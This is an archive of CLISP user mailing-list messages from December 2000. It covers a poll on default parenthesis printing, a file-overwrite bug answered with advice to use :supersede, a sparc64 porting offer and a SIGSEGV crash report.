51 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Paren placement poll - please participate! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Please participate in the poll on the future default behavior of the CLISP printer! Traditionally, clisp has been printing lists like this: (first (second third fourth ) ) CLtL/CLHS use the different style: (first (second third fourth)) This is customisable using `lisp:*print-rpars*' (http://clisp.sourceforge.net/impnotes.html#pr-rpars) and `lisp:*print-indent-lists*' (http://clisp.sourceforge.net/impnotes.html#pr-indent) so you can change the style at will. The question of the poll is the _default_ value of these variables, i.e., what the novice user sees. You can vote YES, if you want to _KEEP_ the current default (traditional CLISP printing _with_ hanging parens) or NO, if you want to _CHANGE_ the default to the one used by CLtL/CLHS (_no_ hanging parens) The _correct_ way to vote it to visit https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=11177 this requires a free account on sourceforge. please get it - you will be able to fill out our other survey too! If you cannot use the sourceforge, please reply to this list with your vote. Your vote message must consist of a single line "My vote: NO" or "My vote: YES" Discussion is welcome, but must go to in a separate message. There is no deadline, but you are encouraged to vote ASAP. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arabs leaders say to their people on http://www.memri.org/ War doesn't determine who's right, just who's left. From amoroso@mclink.it Wed Dec 6 12:13:24 2000 Received: from mail.mclink.it (net128-053.mclink.it [195.110.128.53]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB6KDNu05718 for ; Wed, 6 Dec 2000 12:13:23 -0800 Received: from net145-010.mclink.it (net145-010.mclink.it [195.110.145.10]) by mail.mclink.it (8.9.3/8.9.0) with SMTP id VAA28881 for ; Wed, 6 Dec 2000 21:13:20 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point question Date: Wed, 06 Dec 2000 21:12:49 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On 05 Dec 2000 10:33:50 -0500, Sam Steingold wrote: > > * Honorable Nathan Froyd writes: > > > > (setf *warn-on-floating-point-contagion* nil) > > this is a grave mistake. > floating point contagion should be avoided so this warning should be on! If you don't set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL with Garnet, your console gets floooded with warnings :) Is it safe to assume that such warnings are mostly harmless for systems such as Garnet, which are not number crunching applications? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From haible@ilog.fr Wed Dec 6 13:38:34 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB6LcXu12572 for ; Wed, 6 Dec 2000 13:38:33 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA03613; Wed, 6 Dec 2000 22:34:08 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.147]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA23934; Wed, 6 Dec 2000 22:38:23 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA14128; Wed, 6 Dec 2000 22:38:16 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14894.45512.115383.523398@honolulu.ilog.fr> Date: Wed, 6 Dec 2000 22:38:16 +0100 (CET) To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point question In-Reply-To: References: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Paolo Amoroso writes: > If you don't set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL with Garnet, > your console gets floooded with warnings :) Is it safe to assume that such > warnings are mostly harmless for systems such as Garnet, which are not > number crunching applications? Yes. Although Garnet does some kinds of number crunching when computing the optimal size of widgets through constraints. Bruno From bruce253@163.net Wed Dec 6 21:08:28 2000 Received: from proxy (ns2.gdufs.edu.cn [202.116.192.38]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eB7589u09154 for ; Wed, 6 Dec 2000 21:08:24 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id NAA21919; Thu, 7 Dec 2000 13:05:58 -0500 Message-ID: <3A2F1B13.E0E90104@163.net> Date: Thu, 07 Dec 2000 13:07:31 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Paren placement poll - please participate! References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion My vote: YES From bruce253@163.net Thu Dec 7 04:00:41 2000 Received: from proxy (ns2.gdufs.edu.cn [202.116.192.38]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eB7C0Ku31174 for ; Thu, 7 Dec 2000 04:00:37 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id TAA22524; Thu, 7 Dec 2000 19:58:01 -0500 Message-ID: <3A2F7BA6.91B46C98@163.net> Date: Thu, 07 Dec 2000 19:59:34 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 7bit Subject: [clisp-list] Bug with :overwrite file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Dear all, It seems to me that overwriting an existing file with shorter length gives rise to bad file. (defun updatefile (filename obj) ;; open-with-file :if-exists :overwrite ;; prin1 obj .. ) >(updatefile "test" '(1 2 3 4 5)) ;; Writing file ... (1 2 3 4 5) >(updatefile "test" '(1 2 3)) ;; Writing file ... (1 2 3) >(run-shell-command "cat test") (1 2 3)4 5) I'm using CLISP-2000-03-06 on Linux. Best! Shouxun P.S. Sorry I've sent two messages by mistake to Sam that should be to the clisp-list. -- You will have a long and unpleasant discussion with your supervisor. From tl@weenie.inesc.pt Thu Dec 7 04:14:10 2000 Received: from weenie.inesc.pt (weenie.inesc.pt [146.193.0.232]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB7CDxu31949 for ; Thu, 7 Dec 2000 04:14:01 -0800 Received: from neuronio.local.net (IDENT:root@neuronio [172.16.3.176]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id MAA11444; Thu, 7 Dec 2000 12:13:49 GMT Received: from neuronio (IDENT:tl@localhost.localdomain [127.0.0.1]) by neuronio.local.net (8.9.3/8.9.3) with ESMTP id MAA27699; Thu, 7 Dec 2000 12:13:53 GMT Message-Id: <200012071213.MAA27699@neuronio.local.net> To: bruce cc: clisp-list Subject: Re: [clisp-list] Bug with :overwrite file? In-Reply-To: Message from bruce of "Thu, 07 Dec 2000 19:59:34 +0800." <3A2F7BA6.91B46C98@163.net> Date: Thu, 07 Dec 2000 12:13:53 +0000 From: Thibault Langlois Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > Dear all, > > It seems to me that overwriting an existing file with shorter length > gives rise to bad file. > > (defun updatefile (filename obj) > ;; open-with-file :if-exists :overwrite > ;; prin1 obj .. > ) > > >(updatefile "test" '(1 2 3 4 5)) > ;; Writing file ... > (1 2 3 4 5) > >(updatefile "test" '(1 2 3)) > ;; Writing file ... > (1 2 3) > >(run-shell-command "cat test") > (1 2 3)4 5) > > I'm using CLISP-2000-03-06 on Linux. > You must use :supersede instead of :overwrite. Thibault Langlois From sc843@bard.edu Fri Dec 8 07:34:43 2000 Received: from bard.edu (bard.edu [192.246.229.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB8FYhu10245 for ; Fri, 8 Dec 2000 07:34:43 -0800 Received: from localhost (sc843@localhost) by bard.edu (AIX4.3/8.9.3/8.9.3) with SMTP id KAA51152 for ; Fri, 8 Dec 2000 10:32:50 -0500 Date: Fri, 8 Dec 2000 10:32:50 -0500 (EST) From: Sean Callanan To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Linux-sparc64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Dear mailing list: I have had problems in the recent past compiling clisp on sparc64 targets running UltraLinux. I have sent e-mails to this list as well as Mr. Haible offering my assistance but haven't received a response or acknowledgement. So here goes again. UltraLinux has a 64-bit kernel running 32-bit userland gcc and binaries. The only 64-bit gcc available only compiles kernels. Therefore, I figured sparc32-linux versions of CLISP would work. They do not. I have tried building CLISP on a Sun Ultra5 and Ultra10. Both required the latest CVS version and SAFETY=3 but segfaulted upon running, after loading a few files (that is, lisp.run built but crashed upon reading interpreted.mem). If anyone is interested, I will provide boring compile messages, warnings, and errors as well as a transcript of an unsuccessful gdb session. I would really like to see CLISP working on linux-sparc64 targets. I would assume it would require only small modifications from the sparc32 base, but I don't know where to begin. I know C, but have not worked on a large project like this, much less with any system-dependent stuff. However, I am willing to put time, energy, and processing power into this. I have access to some pretty decent Sun hardware (Ultra 10 running Red Hat, possibly Ultra 10 running SuSE, definitely Ultra 5 running SuSE) so no problems there. Please do tell me whether my help will be useful or whether this port will simply not be possible. If the latter is the case, then I will try my luck with a different Common Lisp, like GCL, but I'd so much prefer using CLISP! Thank you for considering my help and please do respond. I hate to be repetitive, but not being responded to kind of encourages that :^< Sincerely, Sean Callanan -- "The surest sign of intelligent life in the universe is that none of it has tried to contact us." -- Calvin (www.calvinandhobbes.com) From sds@gnu.org Fri Dec 8 08:50:56 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB8Gouu15232 for ; Fri, 8 Dec 2000 08:50:56 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA22285; Fri, 8 Dec 2000 11:50:53 -0500 (EST) X-Envelope-To: To: Sean Callanan Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Linux-sparc64 References: Reply-To: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Sean Callanan's message of "Fri, 8 Dec 2000 10:32:50 -0500 (EST)" Date: 08 Dec 2000 11:49:13 -0500 Message-ID: Lines: 24 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] Linux-sparc64" > * Sent on Fri, 8 Dec 2000 10:32:50 -0500 (EST) > * Honorable Sean Callanan writes: > > I am willing to put time, energy, and processing power into this. Sean, the CLISP developers are very glad that you would like to help. Welcome! Please replace all "-O" in the makefiles with "-g", and try again, then send the GDB backtrace. The only person who can really help you here is Bruno. He is rather busy at the moment, so please bear with us. Please note that Reply-To: is set to since that list is more appropriate for the development discussion. You should definitely subscribe to it. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never underestimate the power of stupid people in large groups. From jtowler@newton.pconline.com Sun Dec 10 20:49:02 2000 Received: from newton.pconline.com (IDENT:jtowler@newton.pconline.com [206.145.48.1]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBB4n1u13574 for ; Sun, 10 Dec 2000 20:49:01 -0800 Received: (from jtowler@localhost) by newton.pconline.com (8.8.5/8.8.5) id WAA14335; Sun, 10 Dec 2000 22:48:58 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Paren placement poll - please participate! References: From: John Towler Date: 10 Dec 2000 22:48:58 -0600 In-Reply-To: Sam Steingold's message of 06 Dec 2000 13:41:00 -0500 Message-ID: Lines: 2 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion My vote: NO From sds@gnu.org Tue Dec 12 10:59:09 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBCIx8u03491 for ; Tue, 12 Dec 2000 10:59:09 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA11273 for ; Tue, 12 Dec 2000 13:59:04 -0500 (EST) X-Envelope-To: To: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Sam Steingold's message of "06 Dec 2000 13:41:00 -0500" Date: 12 Dec 2000 13:56:48 -0500 Message-ID: Lines: 18 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Paren placement poll - RESULTS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > You can vote > YES, if you want to _KEEP_ the current default (traditional > CLISP printing _with_ hanging parens) > or > NO, if you want to _CHANGE_ the default to the one used by > CLtL/CLHS (_no_ hanging parens) There have been 3 "YES" votes and 11 "NO" votes. The default behavior has just been changed. The development team thanks everyone who participated in the poll. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The world is coming to an end. Please log off. From toy@rtp.ericsson.se Wed Dec 13 15:24:03 2000 Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBDNO2u22443 for ; Wed, 13 Dec 2000 15:24:03 -0800 Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.10.2/8.10.2) with ESMTP id eBDNMsA14237 for ; Wed, 13 Dec 2000 17:22:54 -0600 (CST) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.133.252]) by mr5.exu.ericsson.se (8.10.2/8.10.2) with ESMTP id eBDNK4G02454 for ; Wed, 13 Dec 2000 17:20:04 -0600 (CST) Received: from edgedsp4.ericsson.COM (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id SAA21191 for ; Wed, 13 Dec 2000 18:22:53 -0500 (EST) Received: (from toy@localhost) by edgedsp4.ericsson.COM (8.9.1b+Sun/8.9.1) id SAA27176; Wed, 13 Dec 2000 18:22:53 -0500 (EST) X-Authentication-Warning: edgedsp4.ericsson.COM: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Paren placement poll - RESULTS References: From: Raymond Toy Date: 13 Dec 2000 18:22:53 -0500 In-Reply-To: Sam Steingold's message of "12 Dec 2000 13:56:48 -0500" Message-ID: <4nlmtjvrci.fsf@rtp.ericsson.se> Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Peisino,Ak(B) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >>>>> "Sam" == Sam Steingold writes: >> You can vote >> YES, if you want to _KEEP_ the current default (traditional >> CLISP printing _with_ hanging parens) >> or >> NO, if you want to _CHANGE_ the default to the one used by >> CLtL/CLHS (_no_ hanging parens) Sam> There have been 3 "YES" votes and 11 "NO" votes. Sam> The default behavior has just been changed. Sam> The development team thanks everyone who participated in the poll. Just out of curiosity, how many people are on the list? (I didn't vote because either way is ok, but I would have voted for CLtL if forced too.) Ray From traverso@posso.dm.unipi.it Wed Dec 13 20:41:59 2000 Received: from max.dm.unipi.it (max.dm.unipi.it [131.114.6.133]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBE4fwu10381 for ; Wed, 13 Dec 2000 20:41:59 -0800 Received: (from traverso@localhost) by max.dm.unipi.it (8.9.3/8.8.8) id FAA05111; Thu, 14 Dec 2000 05:41:54 +0100 (MET) Date: Thu, 14 Dec 2000 05:41:54 +0100 (MET) Message-Id: <200012140441.FAA05111@max.dm.unipi.it> From: Carlo Traverso To: toy@rtp.ericsson.se CC: clisp-list@lists.sourceforge.net In-reply-to: <4nlmtjvrci.fsf@rtp.ericsson.se> (message from Raymond Toy on 13 Dec 2000 18:22:53 -0500) Subject: Re: [clisp-list] Re: Paren placement poll - RESULTS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >>>>> "Raymond" == Raymond Toy writes: >>>>> "Sam" == Sam Steingold writes: >>> You can vote YES, if you want to _KEEP_ the current default >>> (traditional CLISP printing _with_ hanging parens) or NO, if >>> you want to _CHANGE_ the default to the one used by CLtL/CLHS >>> (_no_ hanging parens) Sam> There have been 3 "YES" votes and 11 "NO" votes. Sam> The default behavior has just been changed. Sam> The development team thanks everyone who participated in the Sam> poll. Raymond> Just out of curiosity, how many people are on the list? Raymond> (I didn't vote because either way is ok, but I would have Raymond> voted for CLtL if forced too.) Raymond> Ray _______________________________________________ Raymond> clisp-list mailing list clisp-list@lists.sourceforge.net Raymond> http://lists.sourceforge.net/mailman/listinfo/clisp-list Voting was quite difficult: you had to register at sourceforge, but I did not succeed in registering: I received an email message with an URL to which I had to connect, but it was impossible (twice); I did not insist since either way was OK for me, but I would have voted for CLtL too. Carlo Traverso From sds@gnu.org Thu Dec 14 07:32:40 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBEFWeu11682 for ; Thu, 14 Dec 2000 07:32:40 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA17830; Thu, 14 Dec 2000 10:32:38 -0500 (EST) X-Envelope-To: To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Paren placement poll - RESULTS References: <4nlmtjvrci.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Raymond Toy's message of "13 Dec 2000 18:22:53 -0500" Date: 14 Dec 2000 10:31:02 -0500 Message-ID: Lines: 14 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <4nlmtjvrci.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] Re: Paren placement poll - RESULTS" > * Sent on 13 Dec 2000 18:22:53 -0500 > * Honorable Raymond Toy writes: > > Just out of curiosity, how many people are on the list? http://lists.sourceforge.net/mailman/roster/clisp-list -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on All generalizations are wrong. Including this. From sds@gnu.org Thu Dec 14 07:35:43 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eBEFZhu11891 for ; Thu, 14 Dec 2000 07:35:43 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA18687; Thu, 14 Dec 2000 10:35:40 -0500 (EST) X-Envelope-To: To: Carlo Traverso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Paren placement poll - RESULTS References: <200012140441.FAA05111@max.dm.unipi.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Carlo Traverso's message of "Thu, 14 Dec 2000 05:41:54 +0100 (MET)" Date: 14 Dec 2000 10:34:05 -0500 Message-ID: Lines: 24 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <200012140441.FAA05111@max.dm.unipi.it> > * On the subject of "Re: [clisp-list] Re: Paren placement poll - RESULTS" > * Sent on Thu, 14 Dec 2000 05:41:54 +0100 (MET) > * Honorable Carlo Traverso writes: > > Voting was quite difficult: you had to register at sourceforge, but I > did not succeed in registering: I received an email message with an > URL to which I had to connect, but it was impossible (twice); I did they are quite overloaded these days. you might want to try again next week - they are upgrading their hardware tomorrow. > not insist since either way was OK for me, but I would have voted for > CLtL too. you should have voted by mail. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Let us remember that ours is a nation of lawyers and order. From bruce253@163.net Sat Dec 16 18:23:35 2000 Received: from ns2.gdufs.edu.cn ([202.116.192.38] helo=proxy) by usw-sf-list1.sourceforge.net with smtp (Exim 3.16 #1 (Debian)) id 147TM9-00076X-00 for ; Sat, 16 Dec 2000 18:18:47 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id KAA07996; Sun, 17 Dec 2000 10:10:17 -0500 Message-ID: <3A3C20E6.3842D74F@163.net> Date: Sun, 17 Dec 2000 10:11:50 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Q: what causes sigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear list members, What does the following sigsegv mean? *** - handle_fault error2 ! address = 0x6C0078 not in [0x20234000,0x2098DDC4) ! SIGSEGV cannot be cured. Fault address = 0x6C0078. After the signal the CLISP process died. Does it mean that there is some bug in my programs, such as array index out of range? Best! Shouxun -- The perversity of nature is nowhere better demonstrated by the fact that, when exposed to the same atmosphere, bread becomes hard while crackers become soft. From sds@gnu.org Sat Dec 16 22:33:33 2000 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 147XO0-0005Rd-00 for ; Sat, 16 Dec 2000 22:33:32 -0800 Received: from xchange.com ([166.72.86.71]) by prserv.net (out4) with ESMTP id <2000121706332620404j6ev5e>; Sun, 17 Dec 2000 06:33:28 +0000 To: bruce Cc: clisp-list Subject: Re: [clisp-list] Q: what causes sigsegv References: <3A3C20E6.3842D74F@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: bruce's message of "Sun, 17 Dec 2000 10:11:50 +0800" Date: 17 Dec 2000 01:31:39 -0500 Message-ID: Lines: 31 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3A3C20E6.3842D74F@163.net> > * On the subject of "[clisp-list] Q: what causes sigsegv" > * Sent on Sun, 17 Dec 2000 10:11:50 +0800 > * Honorable bruce writes: > > What does the following sigsegv mean? > > *** - handle_fault error2 ! address = 0x6C0078 not in > [0x20234000,0x2098DDC4) ! > SIGSEGV cannot be cured. Fault address = 0x6C0078. > > After the signal the CLISP process died. > > Does it mean that there is some bug in my programs, such as array index > out of range? no, this is a bug in CLISP. which version are you using? on what OS? architecture? Please try to create a self-contained bug report and send it to this list. Thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't take life too seriously, you'll never get out of it alive! From bruce253@163.net Sun Dec 17 00:47:48 2000 Received: from ns2.gdufs.edu.cn ([202.116.192.38] helo=proxy) by usw-sf-list1.sourceforge.net with smtp (Exim 3.16 #1 (Debian)) id 147ZTs-0008O0-00 for ; Sun, 17 Dec 2000 00:47:45 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id QAA10255; Sun, 17 Dec 2000 16:45:13 -0500 Message-ID: <3A3C7D7D.ECF80B47@163.net> Date: Sun, 17 Dec 2000 16:46:53 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Q: what causes sigsegv References: <3A3C20E6.3842D74F@163.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > * In message <3A3C20E6.3842D74F@163.net> > > * On the subject of "[clisp-list] Q: what causes sigsegv" > > * Sent on Sun, 17 Dec 2000 10:11:50 +0800 > > * Honorable bruce writes: > > > > What does the following sigsegv mean? > > > > *** - handle_fault error2 ! address = 0x6C0078 not in > > [0x20234000,0x2098DDC4) ! > > SIGSEGV cannot be cured. Fault address = 0x6C0078. > > > > After the signal the CLISP process died. > > > > Does it mean that there is some bug in my programs, such as array index > > out of range? > > no, this is a bug in CLISP. > which version are you using? > on what OS? > architecture? > > Please try to create a self-contained bug report and send it to this > list. > > Thanks. I'm using clisp-2000-03-06 on Linux/i686. In order to produce such a bug report, I need detailed help. I found one previous message from Bruno in that direction, but that requires recompile clisp using different compile parameter, which seems not for this case. Best! Shouxun From sds@gnu.org Sun Dec 17 14:42:01 2000 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 147mVF-00084D-00 for ; Sun, 17 Dec 2000 14:42:01 -0800 Received: from xchange.com ([32.100.202.185]) by prserv.net (out4) with ESMTP id <2000121722415620403ji4lqe>; Sun, 17 Dec 2000 22:41:59 +0000 To: bruce Cc: clisp-list Subject: Re: [clisp-list] Q: what causes sigsegv References: <3A3C20E6.3842D74F@163.net> <3A3C7D7D.ECF80B47@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: bruce's message of "Sun, 17 Dec 2000 16:46:53 +0800" Date: 17 Dec 2000 17:40:26 -0500 Message-ID: Lines: 28 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 